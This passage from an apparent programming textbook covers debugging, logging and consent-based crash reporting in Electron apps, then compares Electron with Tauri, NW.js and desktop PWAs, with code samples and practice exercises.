requires, bundling code and not blocking on the network. - Keep the main process free of synchronous and CPU-heavy work; use utility processes and Web Workers.
- Save memory with fewer windows, listener cleanup, background throttling, virtualized lists and bounded caches.
Practice
- (Beginner) Add the
getAppMetricslogger to Bookshelf Desktop, open and close the settings window ten times, and check whether memory returns to its starting level.- (Intermediate) Measure time from launch to first meaningful paint (log timestamps in main and renderer). Apply three optimizations from this topic, measure again, and report which one helped most.
- (Interview) "Users say your Electron app freezes for a moment whenever they open the export dialog, in every window at once. Where would you look first?" Hint: a freeze across all windows points at a component they all share; think about synchronous work there.
Debugging and Crash Reporting
Why debugging is different. An Electron app runs code in several processes, so there is no single debugger that sees everything by default. And once shipped, the app runs on thousands of machines you cannot access, with different OS versions, GPUs, antivirus software and data. You need tools for both situations: interactive debugging during development and automatic, privacy-respecting reports from the field.
Debugging the renderer. Each window has Chrome DevTools, exactly as in a browser (6.4): win.webContents.openDevTools(), the View > Toggle Developer Tools menu role, or Ctrl+Shift+I. Elements, Console, Network, Sources with breakpoints, Performance and Memory all work. React or Vue DevTools can be loaded as Chrome extensions in development builds (session.defaultSession.extensions.loadExtension(path) in recent versions).
Debugging the main process. The main process is a Node.js process, so it uses the Node.js inspector (11.1):
# Start Electron with the inspector enabled for the main process
npx electron --inspect=9229 . # or --inspect-brk to pause on the first line
# then open chrome://inspect in Chrome and click "inspect" under Remote Target
Or debug both processes from VS Code:
// .vscode/launch.json
{
"version": "0.2.0",
"configurations": [
{
"name": "Electron: Main",
"type": "node",
"request": "launch",
"cwd": "${workspaceFolder}",
"runtimeExecutable": "${workspaceFolder}/node_modules/.bin/electron",
"windows": { "runtimeExecutable": "${workspaceFolder}/node_modules/.bin/electron.cmd" },
"args": [".", "--remote-debugging-port=9223"]
},
{
"name": "Electron: Renderer",
"type": "chrome",
"request": "attach",
"port": 9223,
"webRoot": "${workspaceFolder}/src/renderer"
}
],
"compounds": [{ "name": "Electron: All", "configurations": ["Electron: Main", "Electron: Renderer"] }]
}
Remember that the inspector flags are disabled in release builds if you flip the EnableNodeCliInspectArguments fuse (see Packaging above), which is what you want: nobody should be able to attach a debugger to the installed app to steal its data.
Logging. console.log in main goes to the terminal, which does not exist for an installed app. Use a logging library that writes to files in the platform's log folder, with rotation:
// main.js
const log = require('electron-log/main');
log.initialize(); // also lets preload/renderer log through IPC
log.transports.file.level = 'info'; // file: ~/Library/Logs/Bookshelf/main.log on macOS, etc.
log.transports.file.maxSize = 5 * 1024 * 1024; // rotate at 5 MB
log.info('Starting Bookshelf', app.getVersion(), process.versions.electron);
Log versions, important state changes and errors; never log tokens, passwords or document contents. A Help > "Show Logs" menu item that calls shell.openPath(log.transports.file.getFile().path) makes support requests easier.
Catching errors. Unhandled errors must at least be logged, and the app should decide deliberately whether to continue:
// main.js
process.on('uncaughtException', (err) => {
log.error('Uncaught exception in main', err);
dialog.showErrorBox('Bookshelf encountered an error', 'The application will restart.');
app.relaunch(); // main state may be inconsistent: restart cleanly
app.exit(1);
});
process.on('unhandledRejection', (reason) => log.error('Unhandled rejection in main', reason));
// Renderer crashes, out-of-memory and kills
app.on('render-process-gone', (_event, webContents, details) => {
log.error('Renderer gone', details.reason, details.exitCode); // 'crashed', 'oom', 'killed', ...
if (details.reason !== 'clean-exit') webContents.reload(); // offer a fresh page
});
app.on('child-process-gone', (_event, details) => log.error('Child process gone', details));
Native crash reports. JavaScript handlers cannot catch native crashes (a segfault in Chromium, a GPU driver bug, a native module). Electron includes Chromium's Crashpad, which writes a minidump (a compact snapshot of threads, stacks and loaded modules) when any process crashes and can upload it:
// main.js: start as early as possible, before app 'ready'
const { crashReporter } = require('electron');
crashReporter.start({
submitURL: 'https://crash.bookshelf.example.com/minidump', // your server or a service
uploadToServer: settings.sendCrashReports, // respect the user's consent
compress: true,
globalExtra: { channel: 'stable' }, // extra metadata on every report
});
Minidumps are analyzed with debug symbols for the exact Electron version (Electron publishes them) and for your native modules. Services such as Sentry (@sentry/electron), Backtrace or BugSplat collect JavaScript errors from all processes and native minidumps, symbolicate them, attach breadcrumbs (recent log events) and group similar crashes. Upload source maps for your bundled code (9.3) so stack traces point to original source lines.
Privacy and consent. Crash reports can include file paths with user names, memory contents and URLs. Ask for consent (or at least allow opting out), strip personal data, document what is sent and comply with applicable law (GDPR in the EU).
Reproducing issues. Electron Fiddle is a small app for writing a minimal Electron reproduction and running it against any Electron version. It is the standard way to check whether a bug comes from your code or from Electron, and to bisect between versions. For automated end-to-end tests of the real app, Playwright can launch Electron and drive both its windows and its main process (17.2).
Key Takeaways
- Renderers use Chrome DevTools; the main process uses the Node.js inspector (
--inspect,chrome://inspect, VS Code). - Installed apps need file logging with rotation in the platform log folder, without sensitive data.
- Handle
uncaughtException,unhandledRejection,render-process-goneandchild-process-gonedeliberately. - Crashpad minidumps capture native crashes; start
crashReporterearly and symbolicate with matching symbols and source maps. - Collect crash data only with consent and minimal personal data; reproduce Electron bugs with Electron Fiddle.
Practice
- (Beginner) Set breakpoints in both the main process (
ipcMain.handle('books:export')) and the renderer (the export button handler) and step through one export from VS Code.- (Intermediate) Add
electron-log, the error handlers above and a Help > Show Logs menu item. Trigger a renderer crash withprocess.crash()from a debug-only menu item and verify that it is logged and the window reloads.- (Interview) "Users report that your desktop app sometimes closes without any error message, and your JavaScript error tracking shows nothing. How would you investigate?" Hint: think about which failures JavaScript handlers cannot see, what Crashpad records, and which process types might be the ones disappearing.
Alternatives: Tauri, NW.js and Desktop PWAs
Why look beyond Electron. Electron's main weaknesses are size and memory, both caused by bundling a full Chromium and Node.js with every app. Other projects make different trade-offs: use the browser engine the operating system already has, use a different back-end language, or skip native packaging entirely and rely on the user's browser. Knowing them lets you choose deliberately instead of by habit.
Tauri. Tauri (1.0 in 2022, 2.0 in 2024) keeps the web front end but changes the rest:
- The UI runs in the operating system's WebView: WebView2 (Chromium-based Edge) on Windows, WKWebView (WebKit) on macOS, WebKitGTK on Linux. No Chromium is bundled.
- The back end is written in Rust, compiled to a small native binary. There is no Node.js runtime (a Node.js "sidecar" process is possible but optional).
- Front end and back end communicate through commands: Rust functions callable from JavaScript, much like
ipcMain.handle. - Security is deny by default: the front end can use only the APIs and plugins explicitly listed in capability files.
- Tauri 2 also builds iOS and Android apps from the same project.
// src-tauri/src/lib.rs: a command callable from the front end
#[tauri::command]
fn count_unread(books: Vec<Book>) -> usize {
books.iter().filter(|b| !b.read).count() // runs in native Rust code
}
#[derive(serde::Deserialize)]
struct Book { id: u32, title: String, read: bool }
pub fn run() {
tauri::Builder::default()
.plugin(tauri_plugin_dialog::init()) // official plugin: native dialogs
.invoke_handler(tauri::generate_handler![count_unread]) // register commands
.run(tauri::generate_context!())
.expect("error while running Bookshelf");
}
// Front end (any framework)
import { invoke } from '@tauri-apps/api/core';
const unread = await invoke('count_unread', { books }); // arguments serialized as JSON
// src-tauri/capabilities/default.json: what the main window may use
{
"identifier": "default",
"windows": ["main"],
"permissions": ["core:default", "dialog:allow-open", "dialog:allow-save"]
}
Trade-offs: installers of a few megabytes instead of around a hundred and lower memory use. In exchange, the app renders in three different engines, so you are back to cross-browser testing (WebKitGTK on Linux in particular lags in features and performance), and the team needs Rust for anything beyond the plugins.
NW.js. NW.js (formerly node-webkit, 2011) predates Electron and also bundles Chromium and Node.js. Its distinctive design is that Node.js and the DOM share one context: page scripts can call require('fs') directly, and the entry point can be an HTML file.
{
"name": "bookshelf",
"main": "index.html",
"window": { "width": 1000, "height": 700, "title": "Bookshelf" }
}
<!-- index.html in NW.js: Node.js directly in the page -->
<script>
const fs = require('fs'); // works: no separate main process needed
document.body.textContent = fs.readdirSync('.').join(', ');
</script>
This is convenient for prototypes and kiosk-style tools, but it is exactly the configuration that Electron's security model avoids (see the security checklist above). NW.js has a smaller community and ecosystem than Electron, and is mainly found in legacy projects.
Desktop PWAs. A Progressive Web App (15.2) can be installed from Chrome or Edge on Windows, macOS, Linux and ChromeOS. It opens in its own window and appears in the Start menu, Dock or app launcher. Safari on macOS can also add web apps to the Dock. Several web APIs target the desktop:
| Capability | Web API / manifest member | Support |
|---|---|---|
| Own window, title-bar area | display: standalone, display_override: ["window-controls-overlay"] | Chromium browsers |
| Open and save local files | File System Access API (showOpenFilePicker, showSaveFilePicker) | Chromium browsers |
| Open files from the OS | file_handlers in the manifest + launchQueue | Chromium browsers |
| Custom URL schemes | protocol_handlers (web+bookshelf://) | Chromium browsers, Firefox (partly) |
| App badge | navigator.setAppBadge(3) | Chromium browsers, Safari |
| Notifications, offline | Notifications API, Push API, service worker | Broad |
{
"name": "Bookshelf",
"start_url": "/",
"display": "standalone",
"display_override": ["window-controls-overlay"],
"file_handlers": [
{ "action": "/open", "accept": { "application/json": [".bookshelf"] } }
],
"protocol_handlers": [
{ "protocol": "web+bookshelf", "url": "/link?u=%s" }
]
}
Desktop PWAs need no installer, no code signing and no update mechanism: the user always runs the deployed version. They also inherit the browser's security sandbox. In return, they can do only what browsers allow: no arbitrary file system access, no tray icon, no global shortcuts, no native menus, and feature support that varies by browser.
Others worth knowing. Wails (Go back end, system WebView), Neutralinojs (very small, system WebView, lightweight back end), and frameworks that do not use web UIs at all: Flutter desktop, React Native for Windows and macOS, .NET MAUI and Qt.
Comparison.
| Electron | Tauri | NW.js | Desktop PWA | |
|---|---|---|---|---|
| Rendering engine | Bundled Chromium | OS WebView (WebView2, WKWebView, WebKitGTK) | Bundled Chromium | User's browser |
| Back-end language | JavaScript (Node.js) | Rust (+ optional sidecar) | JavaScript (Node.js) | None (server only) |
| Typical installer size | ~80-150 MB | ~3-15 MB | ~80-150 MB | None |
| Memory use | Higher | Lower | Higher | Shared with the browser |
| Rendering consistency | Identical everywhere | Varies by OS engine | Identical everywhere | Varies by browser |
| OS integration | Very broad | Broad (via plugins) | Broad | Limited to web APIs |
| Security model | Isolation + sandbox, opt-in hardening | Deny-by-default capabilities | Node and DOM share a context | Browser sandbox |
| Updates | App updater (16.2) | Built-in updater plugin | Manual / custom | Instant on deploy |
| Ecosystem and maturity | Largest; VS Code, Slack, Discord | Growing quickly | Small, legacy | Web platform |
| Mobile from same project | No | Yes (Tauri 2) | No | Yes |
Choosing. Choose Electron when you need deep OS integration, consistent rendering, a Node.js back end and the largest ecosystem, and can accept the size. Choose Tauri when size and memory matter, the team can write some Rust, and you can test on three engines. Choose a desktop PWA when browser capabilities are enough and instant updates and zero installation matter most. Many products combine them: a PWA for most users and an Electron or Tauri app for those who need offline files, a tray icon or global shortcuts, sharing one front-end codebase.
Key Takeaways
- Tauri uses the OS WebView and a Rust back end: much smaller and lighter, but three rendering engines to test and Rust to learn.
- NW.js bundles Chromium and Node.js in a shared context: convenient but less secure; mostly legacy.
- Desktop PWAs install from the browser with no packaging or signing and update instantly, but only use web APIs.
- Compare on engine, back-end language, size, memory, rendering consistency, OS integration, security model and updates.
- Share the front end across delivery options and pick the shell each audience needs.
Practice
- (Beginner) Turn the Bookshelf web front end into an installable desktop PWA with
file_handlersfor.bookshelffiles, and install it from Chrome or Edge.- (Intermediate) Build a minimal Tauri version of Bookshelf Desktop with one Rust command and the dialog plugin. Compare installer size, idle memory and startup time with the Electron version, and note any rendering differences between the operating systems you can test.
- (Interview) "Your team is starting a new desktop app. How would you decide between Electron, Tauri and a PWA?" Hint: list the required OS features, rendering consistency needs, team languages, size and memory constraints, update and distribution requirements, and how mature each ecosystem is for the plugins you need.
<a id="17-security-quality-and-deployment"></a>